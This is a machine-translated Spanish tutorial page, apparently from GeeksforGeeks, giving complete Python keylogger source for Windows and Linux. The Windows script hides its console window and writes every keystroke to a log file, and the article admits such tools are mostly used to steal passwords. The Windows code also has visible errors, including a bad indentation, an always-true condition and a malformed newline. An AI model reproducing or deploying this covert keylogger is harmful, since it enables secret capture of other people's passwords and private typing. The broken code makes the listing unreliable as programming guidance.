Diseña un Keylogger en Python

El registro de pulsaciones de teclas es el proceso de registrar (registrar) las teclas presionadas en un teclado (generalmente cuando el usuario no lo sabe). También se conoce como keylogging o captura de teclado.
Estos programas se utilizan para solucionar problemas técnicos con computadoras y redes comerciales. También se puede usar para monitorear los usos de la red, pero la mayoría de las veces se usa con fines maliciosos, como robar contraseñas.
Este artículo ilustra el diseño de un keylogger para Windows y Linux.
 

Registrador de teclas para Windows

Descargue algunas bibliotecas de python 
1) pywin32 
2) pyhook ‘ El
siguiente es el código para crear un keylogger en python

Python3

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
  
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
  
def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
    #open output.txt to read current keystrokes
        f = open('c:\output.txt', 'r+')
        buffer = f.read()
        f.close()
    # open output.txt to write current + new keystrokes
        f = open('c:\output.txt', 'w')
        keylogs = chr(event.Ascii)
        if event.Ascii == 13:
        keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Guarde el archivo en C:\ como Keylogger.py y ejecute el archivo python 
Salida: 
El keylogger se iniciará en segundo plano y guardará todos los datos en el archivo de registro «c:\output.txt».

Keylogger en Linux
pyxhook requiere python-Xlib. Instálalo si aún no lo tienes. 

sudo apt-get install python-xlib

Descargar biblioteca pyxhook

Python3

# Python code for keylogger
# to be used in linux
import os
import pyxhook
  
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        '`'
    )[0]
)
  
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
       # File does not exist, or no permissions.
        pass
  
#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
  
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start()         # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))

Salida: 
El keylogger se iniciará en segundo plano y guardará todos los datos en el archivo file.log «/home/Akash/Desktop». 
 

Referencias  
https://en.wikipedia.org/wiki/Keystroke_logging
Este artículo es una contribución de Akash Sharan . Si te gusta GeeksforGeeks y te gustaría contribuir, también puedes escribir un artículo usando write.geeksforgeeks.org o enviar tu artículo por correo a review-team@geeksforgeeks.org. Vea su artículo que aparece en la página principal de GeeksforGeeks y ayude a otros Geeks.
Escriba comentarios si encuentra algo incorrecto o si desea compartir más información sobre el tema tratado anteriormente.
 

Publicación traducida automáticamente

Artículo escrito por GeeksforGeeks-1 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *